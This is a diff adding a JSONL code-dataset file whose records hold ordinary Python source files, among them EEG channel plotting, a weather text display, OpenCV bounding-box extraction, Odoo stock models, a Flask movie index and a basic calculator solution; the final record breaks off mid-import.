diff --git "a/623.jsonl" "b/623.jsonl" new file mode 100644--- /dev/null +++ "b/623.jsonl" @@ -0,0 +1,720 @@ +{"seq_id":"292147498","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import signal\nfrom scipy.stats import pearsonr,zscore\nfrom sklearn import preprocessing\n\n\ndata1 = np.load('rawData1.dumps')\ndata2 = np.load('rawData2.dumps')\ndata3 = np.load('rawData3.dumps')\ndata4 = np.load('rawData4.dumps')\ndata5 = np.load('rawData5.dumps')\ndata6 = np.load('rawData6.dumps')\n\n#data1M = np.load('band1MedCut.dumps').transpose()\n#data2M = np.load('band2MedCut.dumps').transpose()\n#data3M = np.load('band3MedCut.dumps').transpose()\n#data4M = np.load('band4MedCut.dumps').transpose()\n#data5M = np.load('band5MedCut.dumps').transpose()\n#data6M = np.load('band6MedCut.dumps').transpose()\n\n\nfig1 = plt.figure()\nfig2 = plt.figure()\nfig3 = plt.figure()\nfig4 = plt.figure()\nfigs = [fig1, fig2, fig3, fig4]\nchannels_data = [[0 for i in range(64)] for i in range(64)]\n\n#def calculate_correlation(start):\n# for j in range(4):\n# for i in range(16):\n# index = 16 * j + i\n# fig = figs[j]\n# ax = fig.add_subplot(4, 4, i + 1)\n# channels_data[start][index] = pearsonr(s[start], s[index])[0]\n# ax.plot(s[start], ys, 'r')\n# fig.tight_layout()\n\ni=1\nx = np.arange(0,3383.766,.001)\n\ndata = np.zeros(shape=(61,3383766))\n\nfor index, column in enumerate(data3):\n\tdata[index] = np.concatenate((data1[index],data2[index],data3[index],data4[index],data5[index],data6[index]))\n\ndata = preprocessing.robust_scale(data,True,True,True)\n#eeg = signal.detrend(np.array(data),type='constant')\n#data = signal.medfilt(eeg)\n\n#data = eeg-data\n\n#matrix=[]\n#for index, row in (enumerate(data)):\n#\tif(index!=63 and index!=62 and index!=61):\n#\t\tprint index\n#\t\tmatrix.append(row[3000000:-1])\n\n#matrix = np.array(matrix)\n\nfor index, column in enumerate(data):\n #band = band +\n if(i<=16):\n ax = fig1.add_subplot(4, 4, i)\n ax.set_title('Channel %s' % (i))\n ax.set_xlabel('Sec')\n ax.plot(x, column)\n elif(i<=32):\n ax = fig2.add_subplot(4, 4, i-16)\n ax.set_title('Channel %s' % (i))\n ax.set_xlabel('Sec')\n ax.plot(x, column)\n elif (i <= 48):\n ax = fig3.add_subplot(4, 4, i - 32)\n ax.set_title('Channel %s' % (i))\n ax.set_xlabel('Sec')\n ax.plot(x, column)\n elif (i <= 64):\n ax = fig4.add_subplot(4, 4, i - 48)\n ax.set_title('Channel %s' % (i))\n ax.set_xlabel('Sec')\n ax.plot(x, column)\n i+=1\n\n#data.dump('Median6.dumps')\nplt.show()","sub_path":"Preprocessing/RobustScale.py","file_name":"RobustScale.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"275340195","text":"def make_display_meteo_24h(forecast_list):\n\n # Configurações básicas\n dim_temp = 20\n char_block = \"\\u2588\"\n char_block_trans = \"\\u2591\"\n \n l_date = []\n l_min = []\n l_max = []\n l_prec = []\n for forecast in forecast_list:\n l_date += [forecast['dataPrev'][:10]]\n l_min += [forecast['tMin']]\n l_max += [forecast['tMax']]\n l_prec += [forecast['probPrec']]\n\n t_min_min = min(l_min)\n t_max_max = max(l_max)\n\n txt = \"dia\".ljust(11) + \"tMin\".ljust(26) + \"tMax\".ljust(5)\\\n + \"pprec\".rjust(4) + \"\\n\" \n\n for i in range(len(l_date)):\n pad_antes = round(l_min[i] - t_min_min)\n pad_depois = round(t_max_max - l_max[i])\n pad_meio = dim_temp - pad_antes - pad_depois - 2\n \n temp_block = \" \"*pad_antes + char_block\n \n # pad_meio = -1, significa que as duas linhas tocam-se\n if pad_meio != -1:\n temp_block += pad_meio*char_block_trans + char_block\n\n temp_block += pad_depois*\" \"\n \n\n txt += \"%s %.1f %s %.1f %3i%%\\n\"\\\n %(l_date[i], l_min[i], temp_block, l_max[i], l_prec[i])\n\n return txt\n \n\n\ndef display_meteo(info, forecast_type ):\n if forecast_type == 24:\n txt = make_display_meteo_24h(info)\n\n print(txt, end = \"\")\n","sub_path":"display_ipma.py","file_name":"display_ipma.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"481804941","text":"import os\nimport glob\nimport cv2\nimport csv\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plot\n\ndef get_objects_from_annotation():\n\tann_image_to_get_contour = '/home/ian-djakman/Desktop/philip_getsegment/philan'\n\tfiles_to_read = glob.glob(os.path.join(ann_image_to_get_contour, '*.bmp'))\n\ttotal = len(files_to_read)\n\n\tfor (num, imgfile) in enumerate(files_to_read):\n\t\t\n\t\tprint('Processing ' + str(num+1) +'/' + str(total) + ' image for Gould relative map')\n\t\t\n\t\tfilename = imgfile[len(ann_image_to_get_contour):][:-4]\n\t\toutpath = '/home/ian-djakman/Desktop/philip_getsegment/rect_bbox'\n\t\tcsvfile = '/home/ian-djakman/Documents/data/output/knowledge-compatibility-benchmarker/annotation/annotation-philippunary' + filename + '.csv'\n\n\t\tphilip_csv = np.array(list(csv.reader(open(csvfile,'r'),delimiter=','))).astype('int')\n\t\tclean_philip_image = cv2.imread(imgfile)\n\t\tdraw_philip_image = cv2.imread(imgfile)\n\t\timh = len(clean_philip_image)\n\t\timw = len(clean_philip_image[0])\n\t\t\n\t\trectangle=[]\n\t\tclass_in_img = list(np.unique(philip_csv)) #search every contained class in img, for a faster loop\n\t\t\n\t\tfor classes in range (0,len(class_in_img)):\n\t\t\tctp = class_in_img[classes]\n\t\t\tif ctp != 0 :\n\t\t\t\tphilip_image = cv2.imread(imgfile)\n\t\t\t\tfor h in range (0, imh):\n\t\t\t\t\tfor w in range (0, imw):\n\t\t\t\t\t\tpixel_class = philip_csv[h][w]\n\t\t\t\t\t\tif pixel_class == ctp:\n\t\t\t\t\t\t\tphilip_image[h][w] = (255,255,255)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tphilip_image[h][w] = (0,0,0)\n\t\t\t\t\t\t\t\n\t\t\t\te_kernel = np.ones((13,13),np.uint8)\n\t\t\t\td_kernel = np.ones((15,15),np.uint8)\n\t\t\t\teroded_img = cv2.erode(philip_image,e_kernel,iterations = 1)\n\t\t\t\tdilated_img = cv2.dilate(eroded_img,d_kernel,iterations = 1)\n\t\t\t\tcanny_edgedetect = cv2.Canny(dilated_img,1,25)\n\t\t\t\tcontours, hierarchy = cv2.findContours(canny_edgedetect,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n\t\t\t\tfor x in range (0, len(contours)):\n\t\t\t\t\tcnt = contours[x]\n\t\t\t\t\tarea = cv2.contourArea(cnt)\n\t\t\t\t\tx,y,w,h = cv2.boundingRect(contours[x])\n\t\t\t\t\tcoordinate = [x,y,x+w,y+h]\n\t\t\t\t\txcenter = (coordinate[0] + coordinate[2]) / 2\n\t\t\t\t\tycenter = (coordinate[1] + coordinate[3]) / 2\n\t\t\t\t\tcenter = [xcenter, ycenter]\n\t\t\t\t\tcenter_rect_class = philip_csv[ycenter][xcenter]\n\t\t\t\t\tif (center_rect_class == class_in_img[classes]) and ((w*h)>1500):\n\t\t\t\t\t\tclass_val = center_rect_class\n\t\t\t\t\t\trectangle.append([x,y,x+w,y+h,center_rect_class])\n\t\t\n\t\tout_filename = outpath + filename + \".json\"\n\t\tkeyval_for_json = {'pa_bbox' : rectangle}\n\t\twith open(out_filename, 'w') as f:\n\t\t\tjson.dump(keyval_for_json, f)\n\t\t\n\t\t'''\n\t\t#for showing image purpose\n\t\tfor x in range (0, len(rectangle)):\n\t\t\trtp = rectangle[x]\n\t\t\tcv2.rectangle(draw_philip_image,(rtp[0],rtp[1]),(rtp[2],rtp[3]),(0,255,0),1)\n\t\t\t\n\t\tcv2.imshow('image', draw_philip_image)\n\t\tcv2.waitKey(0)\n\t\tcv2.destroyAllWindows()\n\t\t'''\n\t\t\ndef main():\n\tget_objects_from_annotation()\n\nif __name__ == '__main__':\n main()\n","sub_path":"knowledge-compatibility-benchmarker/get_philip_ann_bounding_box/get_bounding_box_from_philip_unary.py","file_name":"get_bounding_box_from_philip_unary.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"523281752","text":"from PIL import Image\n\nimg = Image.open(\"beach.jpg\")\n#img.show() # original image\n\npixmap = img.load()\n\n#print(type(pixmap[100,100]))\\#tuple\n \nr, g, b = pixmap[100,100] #unpacking a tuple, if you know how many elements are inside the tuple\n \n \nfor i in range(img.size[0]):\n for j in range(0,img.size[1]):\n r, g, b = pixmap[i,j]\n r += i\n g += i\n b += i\n pixmap[i,j] = (r, g, b)\n\nimg.show()","sub_path":"filters_demo.py","file_name":"filters_demo.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"241787625","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\nactivate_this = '/home/herb/Desktop/Projects/management_portal/env/bin/activate_this.py'\nexec(open(activate_this).read(), dict(__file__=activate_this))\n\nimport sys, site, os\nsys.stdout = sys.stderr\nsys.path.insert( 0, os.path.dirname( os.path.realpath( __file__ ) ) )\nsys.path.insert( 0, os.path.dirname( os.path.realpath( __file__ ) ) + \"/home/herb/Desktop/Projects/management_portal/env/lib/python2.7/site-packages/\" )# import packages sys and site to control the environment)\n\n# import my code\nfrom app_main import app as application\n\n","sub_path":"app_main.wsgi","file_name":"app_main.wsgi","file_ext":"wsgi","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"259987624","text":"\"\"\"End2End CrossValidation (Leave-one-out model)\"\"\"\nimport argparse\n\nfrom lib.end2end import end2end_crossvalidate\nfrom lib.utils import read_jsonl\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"data_filepath\",\n type=str,\n help=\"filepath to to run crossvalidate on (jsonl format).\",\n )\n parser.add_argument(\n \"model_directory\", type=str, help=\"directory to save the models in.\"\n )\n parser.add_argument(\"--config_filepath\", type=str, help=\"filepath to config.json.\")\n args = parser.parse_args()\n\n config = read_json(args.config_filepath) if args.config_filepath else None\n tree_jsons = read_jsonl(args.data_filepath)\n end2end_crossvalidate(tree_jsons, args.model_directory)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"_site/crossvalidate.py","file_name":"crossvalidate.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"399850749","text":"from bs4 import BeautifulSoup\nimport pandas as pd\n\n\"\"\"\nProgram for making prefecture coordinate list.\n\"\"\"\n\n\ndef main():\n path = \"prefec.htm\"\n with open(path) as f:\n html = f.read()\n soup = BeautifulSoup(html, features=\"html.parser\")\n\n prefec_edges = []\n\n table_list = soup.find(\"html\").find(\"body\").find_all(\"table\")\n for table in table_list:\n tr_item = table.tbody.find_all(\"tr\")\n\n prefec_name = tr_item[0].find_all(\"td\")[1].string[:-1]\n\n edge_coords = [prefec_name]\n for i, latlon_tr in enumerate(tr_item[1:3]):\n values = []\n for item in latlon_tr.find_all(\"td\")[1:]:\n coord = calc_coord(item.string)\n values.append(coord)\n min_val = min(values)\n max_val = max(values)\n\n edge_coords = edge_coords + [min_val, max_val]\n prefec_edges.append(edge_coords)\n\n df = pd.DataFrame(prefec_edges, columns=[\n \"prefec_name\", \"minlon\", \"maxlon\", \"minlat\", \"maxlat\"])\n df.to_csv(\"prefec_edges.csv\", index=False)\n print(df)\n\n\ndef calc_coord(coordinate):\n coord = [sp_item.split(\"′\")\n for sp_item in coordinate.split(\"°\")]\n coord = [item for listpart in coord for item in listpart]\n coord = float(coord[0]) + float(coord[1]) / \\\n 60. + float(coord[2][:-1]) / 3600.\n return coord\n\n\nmain()\n","sub_path":"meshpopuljp/data/make_prefec_list.py","file_name":"make_prefec_list.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"484263885","text":"class Solution:\n def game(self, guess, answer) -> int:\n correct = 0\n for i in range(len(guess)):\n if guess[i] == answer[i]:\n correct += 1\n\n return correct\n\n\nif __name__ == '__main__':\n x = Solution()\n guess = [1,2,3]\n answer = [1,2,3]\n\n print(x.game(guess,answer))\n","sub_path":"LCP 1. 猜数字.py","file_name":"LCP 1. 猜数字.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"10975692","text":"# -*- coding:utf-8 -*-\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\n\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\n\n\nclass PickingType(models.Model):\n _inherit = \"stock.picking.type\"\n\n # Statistics for the kanban view\n count_bulk_waiting = fields.Integer(compute='_compute_bulk_count')\n count_bulk_ready = fields.Integer(compute='_compute_bulk_count')\n count_bulk_late = fields.Integer(compute='_compute_bulk_count')\n\n def _compute_bulk_count(self):\n today = fields.Datetime.now()\n Bulk = self.env['bulk.master']\n waiting = Bulk.search_count([('state', '=', 'confirmed')])\n ready = Bulk.search_count([('state', '=', 'ready')])\n late = Bulk.search_count([('state', 'not in', ['done', 'cancelled']), ('schedule_date', '<', today)])\n for record in self:\n record.count_bulk_waiting = waiting\n record.count_bulk_ready = ready\n record.count_bulk_late = late\n\n @api.multi\n def view_bulk_waiting(self):\n self.ensure_one()\n waiting_bulk = self.env['bulk.master'].search([('state', '=', 'confirmed')])\n action = self.env.ref('inuka.action_bulk_master_form').read()[0]\n action['domain'] = [('id', 'in', waiting_bulk.ids)]\n return action\n\n @api.multi\n def view_bulk_ready(self):\n self.ensure_one()\n bulk_ready = self.env['bulk.master'].search([('state', '=', 'ready')])\n action = self.env.ref('inuka.action_bulk_master_form').read()[0]\n action['domain'] = [('id', 'in', bulk_ready.ids)]\n return action\n\n @api.multi\n def view_bulk_late(self):\n self.ensure_one()\n today = fields.Datetime.now()\n bulk_late = self.env['bulk.master'].search([('state', 'not in', ['done', 'cancelled']), ('schedule_date', '<', today)])\n action = self.env.ref('inuka.action_bulk_master_form').read()[0]\n action['domain'] = [('id', 'in', bulk_late.ids)]\n return action\n\n\nclass Picking(models.Model):\n _inherit = 'stock.picking'\n\n bulk_master_id = fields.Many2one(\"bulk.master\", string=\"Bulk\")\n\n @api.multi\n def button_validate(self):\n context = dict(self.env.context or {})\n if not context.get('from_bulk') and any(picking.bulk_master_id.id != False for picking in self):\n raise UserError(_(\"You cannot validate if part of bulk.\"))\n return super(Picking, self).button_validate()\n\n\nclass DeliveryCarrier(models.Model):\n _inherit = 'delivery.carrier'\n\n blocked_for_delivery = fields.Boolean(\"Blocked for Delivery\")\n","sub_path":"inuka/models/stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":2611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"580403179","text":"from flask import current_app, jsonify\nfrom flask import render_template\nfrom flask import request\nfrom sqlalchemy import and_\nfrom sqlalchemy import func\nfrom flask import redirect,url_for\n\n\n\nfrom iqiyis import db\nfrom iqiyis.utils import contains\nfrom iqiyis.utils import status\nfrom . import index_blue\n\nfrom iqiyis.models import categroyMovieTable, MovieTable, MovieDetailTable\n\n\n@index_blue.route(\"/\",methods = [\"GET\",\"POST\"])\ndef index():\n\n if request.method == \"GET\":\n # 加载首页,添加视频数据分类\n try:\n # 查询出所有的电影分类\n categroy = db.session.query(categroyMovieTable.categroy,func.avg(categroyMovieTable.numid)).group_by(\n categroyMovieTable.categroy).all()\n\n # 对列表里面的元素进行排序\n categroy = sorted(categroy, key=lambda x: x[1], reverse=False)\n\n # 对查询的结果进行排序处理\n categroy_title = []\n for cate in categroy:\n title_dict = dict()\n title_dict[\"catetitle\"] = cate[0]\n titles = categroyMovieTable.query.filter_by(categroy=cate[0]).order_by(\"numid\").all()\n\n # 构建title的列表\n title_list=[]\n for title in titles:\n # 去掉title里面包含全部的title\n if title.to_dict()[\"title\"] != \"全部\":\n title_list.append(title.to_dict()[\"title\"])\n\n title_dict[\"childcate\"] = title_list\n\n # 构建分类和title标题的列表\n categroy_title.append(title_dict)\n\n\n\n\n # 获取所有的电影信息\n # 1 获取参数,page\n page = request.args.get(\"page\",1)\n\n try:\n current_page = int(page)\n except Exception as e:\n current_app.logger.error(e)\n return jsonify(errno=status.HTTP_400_BAD_REQUEST, errmsg=\"参数错误\")\n\n\n pagenate = MovieTable.query.paginate(page,contains.MOVIE_PAGE_MAX,False)\n # 查询分页数据返回给前段\n current_page =pagenate.page\n total_page = pagenate.pages\n total_movies = pagenate.items\n\n # 查询电影的详细信息\n movie_list = []\n if total_movies:\n # 构建演员的详细信息\n for movie in total_movies:\n movie_dict = dict()\n movie_dict[\"movielist\"] = movie.to_dict()\n moviedetail = MovieDetailTable.query.filter_by(id=movie.to_dict()[\"id\"]).first()\n if moviedetail:\n movie_dict[\"moviedetail\"] = moviedetail.to_dict()\n else:\n movie_dict[\"moviedetail\"] = moviedetail\n\n movie_list.append(movie_dict)\n\n\n except Exception as e:\n current_app.logger.error(e)\n return jsonify(errno = status.HTTP_400_BAD_REQUEST,errmsg=\"数据库查询错误\")\n\n data = {\n \"movies\":movie_list,\n \"currentpage\":current_page,\n \"totalpage\":total_page,\n }\n\n\n return render_template(\"index.html\",categroy=categroy_title,data = data)\n\n # 页面进行post请求,跟新电影界面信息\n # 获取参数\n pindao = request.json.get(\"pindao\")\n cifei = request.json.get(\"cifei\")\n diqu = request.json.get(\"diqu\")\n leixing = request.json.get(\"leixing\")\n guige = request.json.get(\"guige\")\n niandai = request.json.get(\"niandai\")\n current_page = request.json.get(\"currentPage\",1)\n\n # 获取所有的电影信息\n try:\n current_page = int(current_page)\n except Exception as e:\n current_app.logger.error(e)\n return jsonify(errno=status.HTTP_400_BAD_REQUEST, errmsg=\"参数错误\")\n\n # 构建查询条件\n filters = []\n if pindao != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(\"\"))\n\n if cifei != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(cifei))\n\n if diqu != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(diqu))\n\n if leixing != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(leixing))\n\n if guige != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(guige))\n\n if niandai != \"全部\":\n filters.append(MovieDetailTable.categroy.contains(niandai))\n\n # 如果所有的查询条件为空,���总的电影列表查找\n if not any([pindao,cifei,diqu,leixing,guige,niandai]):\n try :\n pagenate = MovieTable.query.paginate(current_page, contains.MOVIE_PAGE_MAX, False)\n # 查询分页数据返回给前段\n current_page = pagenate.page\n total_page = pagenate.pages\n total_movies = pagenate.items\n\n # 查询电影的详细信息\n movie_list = []\n if total_movies:\n # 构建演员的详细信息\n for movie in total_movies:\n movie_dict = dict()\n movie_dict[\"movielist\"] = movie.to_dict()\n moviedetail = MovieDetailTable.query.filter_by(id=movie.to_dict()[\"id\"]).first()\n if moviedetail:\n movie_dict[\"moviedetail\"] = moviedetail.to_dict()\n else:\n movie_dict[\"moviedetail\"] = moviedetail\n\n movie_list.append(movie_dict)\n except Exception as e:\n current_app.logger.error(e)\n return jsonify(errno=status.HTTP_400_BAD_REQUEST, errmsg=\"数据库查询错误\")\n\n data = {\n \"movies\": movie_list,\n \"currentpage\": current_page,\n \"totalpage\": total_page,\n }\n return jsonify(errno=status.HTTP_200_OK, errmsg=\"OK\", data=data)\n\n\n\n\n try:\n pagenate = MovieDetailTable.query.filter(and_(*filters)).paginate(current_page, contains.MOVIE_PAGE_MAX, False)\n\n # 查询分页数据返回给前段\n current_page = pagenate.page\n total_page = pagenate.pages\n\n total_movies =[]\n for movie in pagenate.items:\n movies = MovieTable.query.filter(MovieTable.id == movie.to_dict()[\"id\"]).first()\n total_movies.append(movies)\n\n # 查询电影的详细信息\n movie_list = []\n if total_movies:\n # 构建演员的详细信息\n for movie in total_movies:\n movie_dict = dict()\n movie_dict[\"movielist\"] = movie.to_dict()\n moviedetail = MovieDetailTable.query.filter_by(id=movie.to_dict()[\"id\"]).first()\n if moviedetail:\n movie_dict[\"moviedetail\"] = moviedetail.to_dict()\n else:\n movie_dict[\"moviedetail\"] = moviedetail\n\n movie_list.append(movie_dict)\n\n except Exception as e:\n current_app.logger.error(e)\n return jsonify(errno=status.HTTP_400_BAD_REQUEST, errmsg=\"数据库查询错误\")\n\n data = {\n \"movies\": movie_list,\n \"currentpage\": current_page,\n \"totalpage\": total_page,\n }\n return jsonify(errno=status.HTTP_200_OK,errmsg=\"OK\",data = data)\n\n\n\n\n# titel 图标设置\n@index_blue.route(\"/favicon.ico\")\ndef favicon():\n\n return current_app.send_static_file(\"img/favicon.ico\")\n","sub_path":"iqiyis/modules/index/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"419191233","text":"from tools import *\n\nsound_path = 'sounds'\n\ndef initsound():\n\tpygame.mixer.pre_init(44100, -16, 2, 2048) # setup mixer to avoid sound lag\n\ndef startmusic():\n\tavailables_sounds = []\n\tfor filename in os.listdir(sound_path):\n\t\tif filename.endswith('mp3'):\n\t\t\tavailables_sounds.append(\n\t\t\t\t'{}/{}'.format(\n\t\t\t\t\tsound_path,\n\t\t\t\t\tfilename\n\t\t\t\t)\n\t\t\t)\n\n\tpygame.mixer.music.load(availables_sounds[0])\n\tpygame.mixer.music.play()\n\tfor song in availables_sounds[1:]:\n\t\tpygame.mixer.music.queue(song)\n","sub_path":"sound.py","file_name":"sound.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"220995682","text":"# Time: O(n)\n# Space: O(n)\n# 224\n# Implement a basic calculator to evaluate a simple expression string.\n#\n# The expression string may contain open ( and closing parentheses ),\n# the plus + or minus sign -, non-negative integers and empty spaces .\n#\n# You may assume that the given expression is always valid.\n#\n# Some examples:\n# \"1 + 1\" = 2\n# \" 2-1 + 2 \" = 3\n# \"(1+(4+5+2)-3)+(6+8)\" = 23\n#\n\ntry:\n xrange # Python 2\nexcept NameError:\n xrange = range # Python 3\n\n# Why stack?\n# No matter left to right or right to left, need to get previous operand, so stack is perfect.\n\n# Why backward scan?\n# If forward scan the input, we end up calculate from right to left, not easy to handle subtraction '(A-B)-C'.\n# so we scan from right to left, and calculate starting from left.\n\nimport operator\n\n\nclass Solution(object):\n def calculate(self, s): # prefer not to use, fancy/general but not simple code\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n def compute(operands, operators):\n right, left = operands.pop(), operands.pop()\n operands.append(ops[operators.pop()](left, right))\n\n ops = {'+':operator.add, '-':operator.sub, '*':operator.mul, '/':operator.div}\n precedence = {'+':0, '-':0, '*':1, '/':1}\n operands, operators, operand = [], [], 0\n for i in xrange(len(s)):\n if s[i].isdigit():\n operand = operand*10 + int(s[i])\n if i == len(s)-1 or not s[i+1].isdigit():\n operands.append(operand)\n operand = 0\n elif s[i] == '(':\n operators.append(s[i])\n elif s[i] == ')':\n while operators[-1] != '(':\n compute(operands, operators)\n operators.pop()\n elif s[i] in precedence:\n while operators and operators[-1] in precedence and \\\n precedence[operators[-1]] >= precedence[s[i]]:\n compute(operands, operators)\n operators.append(s[i])\n while operators:\n compute(operands, operators)\n return operands[-1]\n\n\n# Time: O(n)\n# Space: O(n)\n\n# Edge case: starting with '-'\nclass Solution2(object):\n # @param {string} s\n # @return {integer}\n def calculate(self, s): # USE THIS\n operands, operators = [], []\n if s.lstrip()[0] == '-': s = '0'+s\n s = '#'+s\n\n curNum = ''\n for c in reversed(s):\n if c.isdigit():\n curNum += c # if forward scan, can use curNum = curNum*10 + int(c)\n else:\n # non digit, first push the complete num to stack\n if curNum != '':\n operands.append(int(curNum[::-1]))\n curNum = ''\n\n if c in ')+-':\n operators.append(c)\n elif c == '(':\n while operators[-1] != ')':\n self.compress(operands, operators)\n operators.pop()\n\n while operators:\n self.compress(operands, operators)\n\n return operands[-1]\n\n\n def calculate_kamyu(self, s):\n if s.lstrip()[0] == '-': # edge case: start with '-'\n s = '0' + s\n\n operands, operators = [], [] # use 1 stack doesn't work '(3+1)', because ) was stored in bottom.\n # Need to pop ')' before storing the sum.\n operand = \"\"\n for i in reversed(xrange(len(s))):\n if s[i].isdigit():\n operand += s[i]\n if i == 0 or not s[i-1].isdigit(): # this is bad checking every time. Should do only once after number is finished.\n operands.append(int(operand[::-1]))\n operand = \"\"\n elif s[i] in ')+-':\n operators.append(s[i])\n elif s[i] == '(':\n while operators[-1] != ')':\n self.compress(operands, operators)\n operators.pop() # pop out ')'\n #else: skip for empty space ' '\n\n while operators:\n self.compress(operands, operators)\n\n return operands[-1]\n\n\n def compress(self, operands, operators):\n left, right = operands.pop(), operands.pop()\n op = operators.pop()\n operands.append(left + right if op == '+' else left - right)\n\n\nprint(Solution().calculate(\"7 + 1\")) # 8\nprint(Solution().calculate(\"3-1 + 2\")) # 4\nprint(Solution().calculate(\"(1+(4+5+2)-3)+(6+8)\")) # 23\nprint(Solution().calculate(\"- 1\")) # -1\nprint(Solution().calculate(\"-(1 + 2)\")) # -3\n\n\n","sub_path":"Python/basic-calculator.py","file_name":"basic-calculator.py","file_ext":"py","file_size_in_byte":4634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"204742967","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2017/12/4 9:32\n# @Author : tignting.lv\n# @Site : \n# @File : Aiml_Custom.py\n# @Software: PyCharm\n#@Contact : sunfiyes@163.com\nimport os\nimport sys\nimport time\nfrom DebugInfo import DebugInfo\nfrom CustomDesigns import CustomDesign\nimport CustomConfig\nfrom QuestionDB import Dialog\nimport Config as cf\nfrom werkzeug.utils import secure_filename\nimport json\ncd = CustomDesign(verbose=True)\n'''\nCustom 自定义对话\n入参:userId 用户Id, ownerId 拥有者Id,botId 机器人Id, context 问题\n出参:B.context json debug 信息, userId 用户Id, ownerId 拥有者Id,botId 机器人Id,history 对话历史记录, response 回复内容\n'''\ndef strNone(conext):\n if conext.strip() == \"\" or conext == None:\n conext = cf.DEFAULT_ID\n return conext\ndef isNone(userId, ownerId, botId):\n userId = strNone(userId)\n ownerId = strNone(ownerId)\n botId = strNone(botId)\n return userId, ownerId, botId\ndef Custom(userId, ownerId, botId, context):\n if context.strip() == \"\" or context == None:\n return \"输入查询内容不能为空\"\n userId, ownerId, botId = isNone(userId, ownerId, botId)\n B = DebugInfo()\n cd = CustomDesign(verbose=True)\n response, debug = cd.match(ownerid=ownerId, userid=userId, botid=botId,\n timemark=time.asctime(time.localtime(time.time())), moduletype=cf.moduleType,\n query=context.encode('utf-8'))\n return response,debug\n'''\n添加一条自定义规则\n入参:\nuserIdOne 用户Id\nownerIdOne 拥有者Id\nbotIdOne 机器人Id\nmatchOne 正则表达式\nrequestOne 匹配项\n\n出参:\n结果为 0 表示已存在\n结果为 1 表示成功\n结果为 -1 表示出错\n'''\ndef add_oneCustom(userIdOne,ownerIdOne,botIdOne,matchOne,requestOne):\n if matchOne.strip() == \"\" or matchOne == None:\n return \"输入的正则表达式不能为空\"\n userIdOne, ownerIdOne, botIdOne = isNone(userIdOne, ownerIdOne, botIdOne)\n result = cd.setSingleRule(CustomConfig.custom_designColl, ownerIdOne, userIdOne, botIdOne, matchOne, requestOne)\n return result\n'''\n添加多条自定义规则\n入参:\nuserIdMul 用户Id\nownerIdMul 拥有者Id\nbotIdMul 机器人Id\nmatchMul 多条正则表达式+匹配项 \n\n出参:\n结果为 0 表示已存在\n结果为 1 表示成功\n结果为 -1 表示出错\n'''\ndef add_MulCustom(userIdMul,ownerIdMul,botIdMul,matchMul):\n if matchMul.strip() == \"\" or matchMul == None:\n return \"输入的匹配规则不能为空\"\n userIdMul, ownerIdMul, botIdMul = isNone(userIdMul, ownerIdMul, botIdMul)\n result = cd.setRuleBatch(collection=CustomConfig.custom_designColl,ownerID = ownerIdMul, userID = userIdMul, botID =botIdMul, ruleList =matchMul)\n print (result)\n return result\n\ndef allowed_file(filename):\n ALLOWED_EXTENSIONS = set(['doc', 'file', 'txt'])\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n'''\n文件添加自定义规则\n入参:\nuserIdFile 用户Id\nownerIdFile 拥有者Id\nbotIdFile 机器人Id\nfile 文件正则表达式+应答项\n\n出参:\n结果为 0 表示已存在\n结果为 1 表示成功\n结果为 -1 表示出错\n'''\ndef add_FileCustom(userIdFile,ownerIdFile,botIdFile, file):\n if file and allowed_file(file.filename):\n os.chdir('./rules')\n filename = secure_filename(file.filename)\n file.save(os.path.join(os.getcwd(), filename))\n result = cd.setRuleFromFile(collection=CustomConfig.custom_designColl ,ownerID=ownerIdFile, userID= userIdFile, botID= botIdFile, file_name=filename)\n return result","sub_path":"Aiml_Custom.py","file_name":"Aiml_Custom.py","file_ext":"py","file_size_in_byte":3662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"24028662","text":"#!/usr/bin/python3\n\n\nimport sys # stdout\n# enumerate\nfrom itertools import * # chain from_iterable product\nfrom math import * # sqrt floor ceil\nfrom copy import copy, deepcopy\nfrom collections import * # Counter defaultdict deque\nfrom queue import 